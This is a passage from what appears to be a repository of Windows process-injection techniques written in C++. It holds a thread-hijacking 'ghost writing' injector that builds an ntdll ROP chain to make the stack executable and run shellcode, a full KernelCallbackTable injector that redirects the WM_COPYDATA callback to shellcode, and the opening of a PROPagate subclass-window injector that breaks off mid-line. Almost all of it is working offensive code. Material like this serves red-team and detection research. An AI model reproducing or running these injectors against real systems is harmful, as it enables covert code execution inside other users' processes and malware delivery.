144 | 145 | // ntdll 146 | virtualProtectRopChain[0] += currentNtdllBaseAdress; 147 | virtualProtectRopChain[4] += currentNtdllBaseAdress; 148 | virtualProtectRopChain[5] += currentNtdllBaseAdress; 149 | virtualProtectRopChain[6] += currentNtdllBaseAdress; 150 | virtualProtectRopChain[8] += currentNtdllBaseAdress; 151 | virtualProtectRopChain[10] += currentNtdllBaseAdress; 152 | virtualProtectRopChain[11] += currentNtdllBaseAdress; 153 | virtualProtectRopChain[14] += currentNtdllBaseAdress; 154 | virtualProtectRopChain[16] += currentNtdllBaseAdress; 155 | 156 | // kernel32 157 | virtualProtectRopChain[1] += currentKernel32BaseAdress; 158 | virtualProtectRopChain[2] += currentKernel32BaseAdress; 159 | virtualProtectRopChain[3] += currentKernel32BaseAdress; 160 | virtualProtectRopChain[12] += currentKernel32BaseAdress; 161 | virtualProtectRopChain[13] += currentKernel32BaseAdress; 162 | } 163 | 164 | void RebaseRopChain64() 165 | { 166 | // we use ntdll and kernel32 since they are loaded for each process by default 167 | // we can use this processes addresses for ntddl and kernel32 since the ASLR offset will be the same in the remote process 168 | DWORD_PTR currentNtdllBaseAdress = (DWORD_PTR)GetModuleHandle("ntdll.dll"); 169 | 170 | // ntdll 171 | virtualProtectRopChain64[0] += currentNtdllBaseAdress; 172 | virtualProtectRopChain64[1] = (DWORD_PTR)VirtualProtect; 173 | virtualProtectRopChain64[2] += currentNtdllBaseAdress; 174 | virtualProtectRopChain64[4] += currentNtdllBaseAdress; 175 | virtualProtectRopChain64[7] += currentNtdllBaseAdress; 176 | virtualProtectRopChain64[9] += currentNtdllBaseAdress; 177 | virtualProtectRopChain64[13] += currentNtdllBaseAdress; 178 | virtualProtectRopChain64[14] += currentNtdllBaseAdress; 179 | } 180 | 181 | bool ExecutePayload(HANDLE threadHandle, BYTE* remoteMemory) 182 | { 183 | if (SuspendThread(threadHandle) == -1) 184 | { 185 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 186 | return false; 187 | } 188 | 189 | CONTEXT ctx{}; 190 | ctx.ContextFlags = CONTEXT_FULL; 191 | if (!GetThreadContext(threadHandle, &ctx)) 192 | { 193 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 194 | return false; 195 | } 196 | 197 | printf("[Info] - Executing payload at %p\n", remoteMemory); 198 | 199 | ctx.Xip = (DWORD_PTR)remoteMemory; 200 | 201 | if (SetThreadContext(threadHandle, &ctx) == 0) 202 | { 203 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 204 | return false; 205 | } 206 | 207 | if (ResumeThread(threadHandle) == -1) 208 | { 209 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 210 | return false; 211 | } 212 | } 213 | 214 | bool WriteLoopGadgetToStack(HANDLE threadHandle, BYTE* writeGadget, BYTE* endlessLoop) 215 | { 216 | if (SuspendThread(threadHandle) == -1) 217 | { 218 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 219 | return false; 220 | } 221 | 222 | CONTEXT ctx{}; 223 | ctx.ContextFlags = CONTEXT_ALL; 224 | if (!GetThreadContext(threadHandle, &ctx)) 225 | { 226 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 227 | return false; 228 | } 229 | 230 | #ifdef _WIN64 231 | DWORD_PTR fakeStack = ctx.Rsp - 0x400; 232 | 233 | // write gadget 234 | // volatile registers won't be set by SetContextThread (https://stackoverflow.com/questions/25004311/setthreadcontext-x64-volatile-registers) 235 | // registers set are: Rbx, Rsp, Rbp, Rsi, Rdi, R12 - R15, Xmm6 - Xmm15 236 | // https://stackoverflow.com/questions/25004311/setthreadcontext-x64-volatile-registers in x64 only setting no volatile works 237 | 238 | // write gadget ntdll 239 | //.text:0000000180082733 mov [rbx], r14 240 | //.text:0000000180082736 mov rbx, [rsp + 28h + arg_0] 241 | //.text:000000018008273B add rsp, 20h 242 | //.text:000000018008273F pop r14 243 | //.text:0000000180082741 retn 244 | ctx.Rip = (DWORD_PTR)writeGadget; 245 | ctx.Rbx = fakeStack; 246 | ctx.R14 = (DWORD_PTR)endlessLoop; 247 | 248 | // - 0x28 to correct for add rsp, 0x20 and pop r14 in the gadget 249 | ctx.Rsp = fakeStack - 0x28; 250 | #else 251 | DWORD_PTR fakeStack = ctx.Esp - 0x400; 252 | 253 | // write gadget 254 | // 89 11 mov[ecx], edx; ret 255 | ctx.Eip = (DWORD_PTR)writeGadget; 256 | ctx.Ecx = fakeStack; 257 | ctx.Edx = (DWORD_PTR)endlessLoop; 258 | ctx.Esp = fakeStack; 259 | #endif 260 | 261 | if (SetThreadContext(threadHandle, &ctx) == 0) 262 | { 263 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 264 | return false; 265 | } 266 | 267 | printf("[Info] - Writing loop gadget (%p) to fake stack (%p)", endlessLoop, fakeStack); 268 | 269 | if (ResumeThread(threadHandle) == -1) 270 | { 271 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 272 | return false; 273 | } 274 | 275 | // check if hijacked thread has executed last write and is now at the infinity loop 276 | do 277 | { 278 | printf("."); 279 | Sleep(50); 280 | GetThreadContext(threadHandle, &ctx); 281 | } while (ctx.Xip != (DWORD_PTR)endlessLoop); 282 | 283 | printf("done.\n"); 284 | } 285 | 286 | #ifdef _WIN64 287 | DWORD_PTR Write64BitRopChain(HANDLE threadHandle, BYTE* writeGadget, BYTE* endlessLoop) 288 | { 289 | CONTEXT ctx{}; 290 | ctx.ContextFlags = CONTEXT_ALL; 291 | 292 | printf("[Info] - Writing ROP chain to fake stack"); 293 | 294 | DWORD_PTR lastWriteAddress = 0; 295 | 296 | for (int i = 0; i < sizeof(virtualProtectRopChain64) / sizeof(void*) + 1; i++) 297 | { 298 | if (SuspendThread(threadHandle) == -1) 299 | { 300 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 301 | return false; 302 | } 303 | 304 | if (!GetThreadContext(threadHandle, &ctx)) 305 | { 306 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 307 | return false; 308 | } 309 | 310 | // write gadget ntdll 311 | //.text:0000000180082733 mov [rbx], r14 312 | //.text:0000000180082736 mov rbx, [rsp + 28h + arg_0] 313 | //.text:000000018008273B add rsp, 20h 314 | //.text:000000018008273F pop r14 315 | //.text:0000000180082741 retn 316 | ctx.Xip = (DWORD_PTR)writeGadget; 317 | 318 | // the third entry in the ropchain is the target address for virtual protect 319 | // we set this to the start of the shellcode on the stack 320 | if (i == 3) 321 | { 322 | virtualProtectRopChain64[i] = (DWORD_PTR)ctx.Rsp - 0x2d0; 323 | } 324 | 325 | // the 10th entry in the ropchain is a writeable location for the old page protections 326 | // just use a writeable location in ntdll 327 | if (i == 10) 328 | { 329 | virtualProtectRopChain64[i] = (DWORD_PTR)GetModuleHandleA("ntdll.dll") + 0x1645A0; 330 | } 331 | 332 | // the 14th entry in the ropchain is the address that VirtualProtect returns to after execution 333 | // we set this to the start of the shellcode on the stack 334 | if (i == 14) 335 | { 336 | virtualProtectRopChain64[i] = (DWORD_PTR)ctx.Rsp - 0x2d0; 337 | } 338 | 339 | ctx.R14 = (DWORD_PTR)((DWORD_PTR*)virtualProtectRopChain64)[i]; 340 | ctx.Rbx = (DWORD_PTR)ctx.Rsp - 0x368 + i * sizeof(void*); // 341 | 342 | // we need to store this since the gadget changes rbx 343 | lastWriteAddress = ctx.Rbx; 344 | 345 | // set Rsp to loop gadget 346 | // this offset is static because we execute one ret instruction per write (- sizeof(void*)) and the -0x28 is due to the gadget increasing the stack by 0x28 347 | ctx.Rsp = ctx.Rsp - 0x28 - sizeof(void*); 348 | 349 | if (SetThreadContext(threadHandle, &ctx) == 0) 350 | { 351 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 352 | return false; 353 | } 354 | 355 | //printf("\t writing %x to %x\n", ctx.Edx, ctx.Ecx); 356 | 357 | if (ResumeThread(threadHandle) == -1) 358 | { 359 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 360 | return false; 361 | } 362 | 363 | do 364 | { 365 | // check if hijacked thread has executed last write operation and is now stuck in the endless loop gadget 366 | printf("."); 367 | Sleep(50); 368 | GetThreadContext(threadHandle, &ctx); 369 | } while (ctx.Xip != (DWORD_PTR)endlessLoop); 370 | } 371 | 372 | printf("done.\n"); 373 | 374 | // with the current ropchain and setup the final write contains the address where VirtualProtect made the stack executable and our shellcode can start 375 | // "writing 7781ea16 to 2f3f684" 376 | // "writing 0 to 2f3f688" 377 | return lastWriteAddress; 378 | } 379 | 380 | bool Execute64BitRopChain(HANDLE threadHandle) 381 | { 382 | CONTEXT ctx{}; 383 | ctx.ContextFlags = CONTEXT_ALL; 384 | 385 | if (SuspendThread(threadHandle) == -1) 386 | { 387 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 388 | return false; 389 | } 390 | 391 | if (!GetThreadContext(threadHandle, &ctx)) 392 | { 393 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 394 | return false; 395 | } 396 | 397 | // execute first gadget in ROP chain 398 | ctx.Xip = virtualProtectRopChain64[0]; 399 | 400 | // set esp to second gadget in ROP chain, since the first is going to be executed already 401 | ctx.Rsp = (DWORD_PTR)ctx.Rsp - 0x368 + sizeof(void*) * 1; 402 | 403 | if (SetThreadContext(threadHandle, &ctx) == 0) 404 | { 405 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 406 | return false; 407 | } 408 | 409 | printf("[Info] - Executing first gadget of ROP chain at %llx\n", ctx.Xip); 410 | 411 | if (ResumeThread(threadHandle) == -1) 412 | { 413 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 414 | return false; 415 | } 416 | 417 | return true; 418 | } 419 | #else 420 | DWORD_PTR Write32BitRopChain(HANDLE threadHandle, BYTE* writeGadget, BYTE* endlessLoop) 421 | { 422 | CONTEXT ctx{}; 423 | ctx.ContextFlags = CONTEXT_ALL; 424 | 425 | printf("[Info] - Writing ROP chain to fake stack"); 426 | 427 | for (int i = 0; i < sizeof(virtualProtectRopChain) / sizeof(void*) + 1; i++) 428 | { 429 | if (SuspendThread(threadHandle) == -1) 430 | { 431 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 432 | return false; 433 | } 434 | 435 | if (!GetThreadContext(threadHandle, &ctx)) 436 | { 437 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 438 | return false; 439 | } 440 | 441 | // write gadget 442 | // mov[ecx], edx; ret 443 | ctx.Xip = (DWORD_PTR)writeGadget; 444 | ctx.Edx = (DWORD_PTR)virtualProtectRopChain[i]; 445 | ctx.Ecx = (DWORD_PTR)ctx.Esp - 0x360 + i * sizeof(void*); // 446 | 447 | // set Esp to loop gadget 448 | // this offset is static because we execute one ret instruction per write (- sizeof(void*)) 449 | ctx.Esp = ctx.Esp - sizeof(void*); 450 | 451 | if (SetThreadContext(threadHandle, &ctx) == 0) 452 | { 453 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 454 | return false; 455 | } 456 | 457 | //printf("\t writing %x to %x\n", ctx.Edx, ctx.Ecx); 458 | 459 | if (ResumeThread(threadHandle) == -1) 460 | { 461 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 462 | return false; 463 | } 464 | 465 | do 466 | { 467 | // check if hijacked thread has executed last write operation and is now stuck in the endless loop gadget 468 | printf("."); 469 | Sleep(50); 470 | GetThreadContext(threadHandle, &ctx); 471 | } while (ctx.Xip != (DWORD_PTR)endlessLoop); 472 | } 473 | 474 | printf("done.\n"); 475 | 476 | // with the current ropchain and setup the final write contains the address where VirtualProtect made the stack executable and our shellcode can start 477 | // "writing 7781ea16 to 2f3f684" 478 | // "writing 0 to 2f3f688" 479 | return ctx.Ecx; 480 | } 481 | bool Execute32BitRopChain(HANDLE threadHandle) 482 | { 483 | CONTEXT ctx{}; 484 | ctx.ContextFlags = CONTEXT_ALL; 485 | 486 | if (SuspendThread(threadHandle) == -1) 487 | { 488 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 489 | return false; 490 | } 491 | 492 | if (!GetThreadContext(threadHandle, &ctx)) 493 | { 494 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 495 | return false; 496 | } 497 | 498 | // execute first gadget in ROP chain 499 | ctx.Xip = virtualProtectRopChain[0]; 500 | 501 | // set esp to second gadget in ROP chain, since the first is going to be executed already 502 | ctx.Esp = (DWORD_PTR)ctx.Esp - 0x360 + sizeof(void*); 503 | 504 | if (SetThreadContext(threadHandle, &ctx) == 0) 505 | { 506 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 507 | return false; 508 | } 509 | 510 | printf("[Info] - Executing first gadget of ROP chain at %x\n", ctx.Xip); 511 | 512 | if (ResumeThread(threadHandle) == -1) 513 | { 514 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 515 | return false; 516 | } 517 | 518 | return true; 519 | } 520 | #endif 521 | 522 | // the shellcode comes write after the ropchain, as the ROP chain makes the stack above (add esp) executable and jumps to execute 523 | bool WriteShellcode(HANDLE threadHandle, BYTE* remoteMemory, BYTE* writeGadget, BYTE* endlessLoop) 524 | { 525 | CONTEXT ctx{}; 526 | ctx.ContextFlags = CONTEXT_ALL; 527 | 528 | printf("[Info] - Writing shellcode to %p", remoteMemory); 529 | 530 | for (int i = 0; i < sizeof(shellcode) / sizeof(void*) + 1; i++) 531 | { 532 | if (SuspendThread(threadHandle) == -1) 533 | { 534 | printf("[Error] %d - Failed to suspend thread\n", GetLastError()); 535 | return false; 536 | } 537 | 538 | if (!GetThreadContext(threadHandle, &ctx)) 539 | { 540 | printf("[Error] %d - Failed to GetThreadContext\n", GetLastError()); 541 | return false; 542 | } 543 | 544 | #ifdef _WIN64 545 | // write gadget ntdll 546 | //.text:0000000180082733 mov [rbx], r14 547 | //.text:0000000180082736 mov rbx, [rsp + 28h + arg_0] 548 | //.text:000000018008273B add rsp, 20h 549 | //.text:000000018008273F pop r14 550 | //.text:0000000180082741 retn 551 | ctx.Xip = (DWORD_PTR)writeGadget; 552 | ctx.R14 = (DWORD_PTR)((DWORD_PTR*)shellcode)[i]; 553 | ctx.Rbx = (DWORD_PTR)((DWORD_PTR*)remoteMemory + i); // 554 | 555 | // set Rsp to loop gadget 556 | // this offset is static because we execute one ret instruction per write (- sizeof(void*)) and the -0x28 is due to the gadget increasing the stack by 0x28 557 | ctx.Rsp = ctx.Rsp - 0x28 - sizeof(void*); 558 | 559 | //printf("\t\"%p\" to % p\n", ctx.R14, ctx.Rbx); 560 | #else 561 | // write gadget 562 | // mov[ecx], edx; ret 563 | ctx.Xip = (DWORD_PTR)writeGadget; 564 | ctx.Edx = (DWORD_PTR)((DWORD_PTR*)shellcode)[i]; 565 | ctx.Ecx = (DWORD_PTR)((DWORD_PTR*)remoteMemory + i); // 566 | 567 | // set Esp to loop gadget 568 | // this offset is static because we execute one ret instruction per write (- sizeof(void*)) 569 | ctx.Esp = ctx.Esp - sizeof(void*); 570 | #endif 571 | 572 | if (SetThreadContext(threadHandle, &ctx) == 0) 573 | { 574 | printf("[Error] %d - Failed to SetThreadContext\n", GetLastError()); 575 | return false; 576 | } 577 | 578 | if (ResumeThread(threadHandle) == -1) 579 | { 580 | printf("[Error] %d - Failed to resume thread\n", GetLastError()); 581 | return false; 582 | } 583 | 584 | do 585 | { 586 | // check if hijacked thread has executed last write operation and is now stuck in the endless loop gadget 587 | printf("."); 588 | Sleep(50); 589 | GetThreadContext(threadHandle, &ctx); 590 | } while (ctx.Xip != (DWORD_PTR)endlessLoop); 591 | } 592 | printf("done.\n"); 593 | return true; 594 | } 595 | 596 | int main(int argc, char* argv[]) 597 | { 598 | const char* processName = "notepad.exe"; 599 | #ifdef _WIN64 600 | if (argc != 3) 601 | { 602 | printf("Usage: *.exe bUseRopChain processName\n"); 603 | return 1; 604 | } 605 | useRopChain = atoi(argv[1]); 606 | processName = argv[2]; 607 | #else 608 | if (argc != 2) 609 | { 610 | printf("Usage: *.exe processName\n"); 611 | return 1; 612 | } 613 | processName = argv[1]; 614 | #endif 615 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 616 | if (processesSnapshot == INVALID_HANDLE_VALUE) 617 | { 618 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 619 | return 1; 620 | } 621 | 622 | // get first process of snapshot 623 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 624 | if (!Process32First(processesSnapshot, &processEntry)) 625 | { 626 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 627 | return 1; 628 | } 629 | 630 | bool foundTargetProcess = false; 631 | // iterate processes 632 | do 633 | { 634 | // check if we found the target process 635 | if (strcmpi(processEntry.szExeFile, processName) == 0) 636 | { 637 | foundTargetProcess = true; 638 | break; 639 | } 640 | } while (Process32Next(processesSnapshot, &processEntry)); 641 | 642 | if (!foundTargetProcess) 643 | { 644 | printf("[Error] - Failed to find process: %s\n", processName); 645 | return 1; 646 | } 647 | 648 | // jmp 0x0 649 | BYTE* endlessLoop = FindBytePattern("ntdll.dll", "EB FE"); 650 | if (!endlessLoop) 651 | { 652 | printf("[Error] - Failed to find infinit loop in ntdll\n"); 653 | return 1; 654 | } 655 | 656 | #ifdef _WIN64 657 | // write gadget ntdll 658 | //.text:0000000180082733 mov [rbx], r14 659 | //.text:0000000180082736 mov rbx, [rsp + 28h + arg_0] 660 | //.text:000000018008273B add rsp, 20h 661 | //.text:000000018008273F pop r14 662 | //.text:0000000180082741 retn 663 | BYTE* writeGadget = FindBytePattern("ntdll.dll", "4C 89 73 08 4C 89 33") + 4; 664 | if (!writeGadget) 665 | { 666 | printf("[Error] - Failed to find write gadget in ntdll\n"); 667 | return 1; 668 | } 669 | #else 670 | // 89 11 mov[ecx], edx 671 | // C3 retn 672 | BYTE* writeGadget = FindBytePattern("ntdll.dll", "89 11 C3"); 673 | if (!writeGadget) 674 | { 675 | printf("[Error] - Failed to find write gadget in ntdll\n"); 676 | return 1; 677 | } 678 | #endif 679 | 680 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 681 | if (!targetProcessHandle) 682 | { 683 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 684 | return 1; 685 | } 686 | 687 | // get first thread of snapshot 688 | THREADENTRY32 currentThreadEntry = { sizeof(THREADENTRY32) }; 689 | if (!Thread32First(processesSnapshot, ¤tThreadEntry)) 690 | { 691 | printf("[Error] %d - Failed to Thread32First\n", GetLastError()); 692 | return 1; 693 | } 694 | 695 | // find to thread in the target processes and execute code by changing its CONTEXT 696 | do 697 | { 698 | if (currentThreadEntry.th32OwnerProcessID == processEntry.th32ProcessID) 699 | { 700 | HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, currentThreadEntry.th32ThreadID); 701 | if (!threadHandle) 702 | { 703 | printf("[Warning] - Failed to acquire thread handle with error %d\n", GetLastError()); 704 | continue; 705 | } 706 | 707 | WriteLoopGadgetToStack(threadHandle, writeGadget, endlessLoop); 708 | #ifdef _WIN64 709 | 710 | if (useRopChain) 711 | { 712 | RebaseRopChain64(); 713 | DWORD_PTR executableStackStartAddress = Write64BitRopChain(threadHandle, writeGadget, endlessLoop); 714 | executableStackStartAddress += 0x20; // skip shadowspace of VirtuaAlloc call so our shellcode doesn't get overwritten 715 | WriteShellcode(threadHandle, (BYTE*)executableStackStartAddress, writeGadget, endlessLoop); 716 | Execute64BitRopChain(threadHandle); 717 | } 718 | else 719 | { 720 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 721 | if (!remoteMemory) 722 | { 723 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 724 | return 1; 725 | } 726 | WriteShellcode(threadHandle, (BYTE*)remoteMemory, writeGadget, endlessLoop); 727 | ExecutePayload(threadHandle, (BYTE*)remoteMemory); 728 | } 729 | #else 730 | RebaseRopChain(); 731 | DWORD_PTR executableStackStartAddress = Write32BitRopChain(threadHandle, writeGadget, endlessLoop); 732 | WriteShellcode(threadHandle, (BYTE*)executableStackStartAddress, writeGadget, endlessLoop); 733 | Execute32BitRopChain(threadHandle); 734 | #endif 735 | 736 | printf("[Info] - Ghost writing finished\n"); 737 | CloseHandle(threadHandle); 738 | return 0; 739 | } 740 | } while (Thread32Next(processesSnapshot, ¤tThreadEntry)); 741 | 742 | return 0; 743 | } -------------------------------------------------------------------------------- /shellcode_injection/kernelcallbacktable_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into a process by overwriting the copy data kernel callback table entry and then sending a WM_COPYDATA window message to the process. 3 | * Supports 32- and 64 Bit applications. 4 | * [Requirements] 5 | * - the target process must own a window 6 | * Based on: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | #include "../common/ntddk.h" 13 | #include "../payload/shellcode.hpp" 14 | 15 | int main(int argc, char* argv[]) 16 | { 17 | char* targetWindow = "Shell_TrayWnd"; 18 | 19 | if (argc == 2) 20 | { 21 | targetWindow = argv[1]; 22 | } 23 | 24 | HWND windowHandle = FindWindowA(targetWindow, NULL); 25 | if (!windowHandle) 26 | { 27 | printf("[Error] %d - Failed to find window %s\n", GetLastError(), targetWindow); 28 | return 1; 29 | } 30 | 31 | DWORD processId; 32 | GetWindowThreadProcessId(windowHandle, &processId); 33 | 34 | HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); 35 | if (!processHandle) 36 | { 37 | printf("[Error] %d - Failed to OpenProcess explorer.exe\n", GetLastError()); 38 | return 1; 39 | } 40 | 41 | printf("[Info] - Acquired process handle %p\n", processHandle); 42 | 43 | PROCESS_BASIC_INFORMATION processInformation; 44 | NTSTATUS error = NtQueryInformationProcess(processHandle, ProcessBasicInformation, &processInformation, sizeof(processInformation), NULL); 45 | if (error) 46 | { 47 | printf("[Error] %d - Failed to query process basic information\n", GetLastError()); 48 | return 1; 49 | } 50 | 51 | PEB peb; 52 | if (!ReadProcessMemory(processHandle, processInformation.PebBaseAddress, &peb, sizeof(peb), nullptr)) 53 | { 54 | printf("[Error] %d - Failed to read PEB\n", GetLastError()); 55 | return 1; 56 | } 57 | 58 | LPVOID remoteShellcodeMemory = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 59 | if (!remoteShellcodeMemory) 60 | { 61 | printf("[Error] %d - Failed to allocate shellcode buffer in target process\n", GetLastError()); 62 | return 1; 63 | } 64 | 65 | if (!WriteProcessMemory(processHandle, remoteShellcodeMemory, shellcode, sizeof(shellcode), nullptr)) 66 | { 67 | printf("[Error] %d - Failed to write shellcode to the target process\n", GetLastError()); 68 | return 1; 69 | } 70 | 71 | printf("[Info] - Wrote shellcode to remote process at %p\n", remoteShellcodeMemory); 72 | 73 | // the first entry in the callback table is the copy data callback. Overwrite it with a pointer to our shellcode. 74 | DWORD oldProtection; 75 | if (!VirtualProtectEx(processHandle, peb.KernelCallbackTable, sizeof(remoteShellcodeMemory), PAGE_EXECUTE_READWRITE, &oldProtection)) 76 | { 77 | printf("[Error] %d - Failed to modify page protection of kernel callback table\n", GetLastError()); 78 | return 1; 79 | } 80 | if (!WriteProcessMemory(processHandle, peb.KernelCallbackTable, &remoteShellcodeMemory, sizeof(void*), nullptr)) 81 | { 82 | printf("[Error] %d - Failed to modify kernel callback table entry in target process\n", GetLastError()); 83 | return 1; 84 | } 85 | if (!VirtualProtectEx(processHandle, peb.KernelCallbackTable, sizeof(remoteShellcodeMemory), oldProtection, &oldProtection)) 86 | { 87 | printf("[Error] %d - Failed to restore page protection of kernel callback table\n", GetLastError()); 88 | return 1; 89 | } 90 | 91 | printf("[Info] - Modified COPYDATA callback in kernel callback table\n"); 92 | printf("[Info] - Executing shellcode by sending a WM_COPYDATA message to the window\n"); 93 | 94 | // execute payload by sending a WM_COPYDATA window message and therefore executing the copy data callback 95 | COPYDATASTRUCT copyData = COPYDATASTRUCT(); 96 | SendMessageA(windowHandle, WM_COPYDATA, (WPARAM)windowHandle, (LPARAM)©Data); 97 | 98 | // cleanup 99 | VirtualFreeEx(processHandle, remoteShellcodeMemory, 0, MEM_RELEASE); 100 | CloseHandle(processHandle); 101 | 102 | return 0; 103 | } -------------------------------------------------------------------------------- /shellcode_injection/propagate_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects shellcode into explorer.exe abusing a subclassed window. 3 | * Supports 32- and 64 Bit applications. 4 | * [Warning] - The current implementation causes the process crash after executing the shellcode because it does not match the SUBCLASSPROC signature 5 | * [Requirements] 6 | * - target process must have a subclassed window 7 | * Based on: https://modexp.wordpress.com/2018/08/23/process-injection-propagate/ 8 | */ 9 | 10 | 11 | #include 12 | #include 13 | 14 | #include "../payload/shellcode.hpp" 15 | 16 | typedef LRESULT(CALLBACK* SUBCLASSPROC)( 17 | HWND hWnd, 18 | UINT uMsg, 19 | WPARAM wParam, 20 | LPARAM lParam, 21 | UINT_PTR uIdSubclass, 22 | DWORD_PTR dwRefData 23 | ); 24 | 25 | typedef struct _SUBCLASS_CALL { 26 | SUBCLASSPROC pfnSubclass; // subclass procedure 27 | WPARAM uIdSubclass; // unique subclass identifier 28 | DWORD_PTR dwRefData; // optional ref data 29 | } SUBCLASS_CALL, PSUBCLASS_CALL; 30 | 31 | typedef struct _SUBCLASS_FRAME { 32 | UINT uCallIndex; // index of next callback to call 33 | UINT uDeepestCall; // deepest uCallIndex on stack 34 | struct _SUBCLASS_FRAME* pFramePrev; // previous subclass frame pointer 35 | struct _SUBCLASS_HEADER* pHeader; // header associated with this frame 36 | } SUBCLASS_FRAME, PSUBCLASS_FRAME; 37 | 38 | typedef struct _SUBCLASS_HEADER { 39 | UINT uRefs; // subclass count 40 | UINT uAlloc; // allocated subclass call nodes 41 | UINT uCleanup; // index of call node to clean up 42 | DWORD dwThreadId; // thread id of window we are hooking 43 | SUBCLASS_FRAME* pFrameCur; // current subclass frame pointer 44 | SUBCLASS_CALL CallArray[1]; // base of packed call node array 45 | } SUBCLASS_HEADER, * PSUBCLASS_HEADER; 46 | 47 | 48 | HWND shellDllDefViewWindowHandle = nullptr; 49 | 50 | 51 | // credits: https://stackoverflow.com/questions/36566675/winapi-how-to-obtain-shelldll-defview 52 | BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) 53 | { 54 | HWND currentWindowHandle = FindWindowExA(hwnd, 0, "SHELLDLL_DefView", 0); 55 | if (currentWindowHandle) 56 | { 57 | // keep enumerating if the current window handle has more than 1 child 58 | if (GetNextWindow(currentWindowHandle, GW_HWNDNEXT) || GetNextWindow(currentWindowHandle, GW_HWNDPREV)) 59 | { 60 | return true; 61 | } 62 | 63 | shellDllDefViewWindowHandle = currentWindowHandle; 64 | return false; 65 | } 66 | return true; 67 | } 68 | 69 | bool Propagate(LPVOID payload, DWORD payloadSize) 70 | { 71 | EnumWindows(&EnumWindowsProc, 0); 72 | 73 | if (!shellDllDefViewWindowHandle) 74 | { 75 | printf("[Error] - Failed to find ShellDll_DefView window handle\n"); 76 | return false; 77 | } 78 | 79 | printf("[Info] - Found ShellDll_DefView window handle\n"); 80 | 81 | HANDLE propHandle = GetPropA(shellDllDefViewWindowHandle, "UxSubclassInfo"); 82 | if (!propHandle) 83 | { 84 | printf("[Error] - Failed to get a handle to UxSubclassInfo using GetPropA\n"); 85 | return false; 86 | } 87 | 88 | printf("[Info] - Found UxSubclassInfo\n"); 89 | 90 | DWORD processId; 91 | if (!GetWindowThreadProcessId(shellDllDefViewWindowHandle, &processId)) 92 | { 93 | printf("[Error] - Failed GetWindowThreadProcessId\n"); 94 | return false; 95 | } 96 | 97 | HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); 98 | if (!processHandle) 99 | { 100 | printf("[Error] %d - Failed to OpenProcess explorer.exe\n", GetLastError()); 101 | return false; 102 | } 103 | 104 | printf("[Info] - Acquired handle to explorer.exe\n"); 105 | 106 | SUBCLASS_HEADER subclassHeader; 107 | SIZE_T numberOfBytesRead; 108 | if (!ReadProcessMemory(processHandle, (LPVOID)propHandle, &subclassHeader, sizeof(subclassHeader), &numberOfBytesRead)) 109 | { 110 | printf("[Error] %d - Failed to read subclass header (ReadProcessMemory)\n", GetLastError()); 111 | return false; 112 | } 113 | 114 | LPVOID remoteSubclassHeaderBuffer = VirtualAllocEx(processHandle, NULL, sizeof(subclassHeader), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 115 | if (!remoteSubclassHeaderBuffer) 116 | { 117 | printf("[Error] %d - Failed to allocate remote memory for subclass header (VirtualAllocEx)\n", GetLastError()); 118 | return false; 119 | } 120 | 121 | LPVOID remoteSubclassBuffer = VirtualAllocEx(processHandle, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 122 | if (!remoteSubclassBuffer) 123 | { 124 | printf("[Error] %d - Failed to allocate remote memory for subclass (VirtualAllocEx)\n", GetLastError()); 125 | return false; 126 | } 127 | 128 | SIZE_T numberOfbytesWritten; 129 | if (!WriteProcessMemory(processHandle, remoteSubclassBuffer, payload, payloadSize, &numberOfbytesWritten)) 130 | { 131 | printf("[Error] %d - Failed to write payload into remote subclass (WriteProcessMemory)\n", GetLastError()); 132 | return false; 133 | } 134 | 135 | // set subclass procedure to payload 136 | subclassHeader.CallArray[0].pfnSubclass = (SUBCLASSPROC)remoteSubclassBuffer; 137 | 138 | if(!WriteProcessMemory(processHandle, remoteSubclassHeaderBuffer, &subclassHeader, 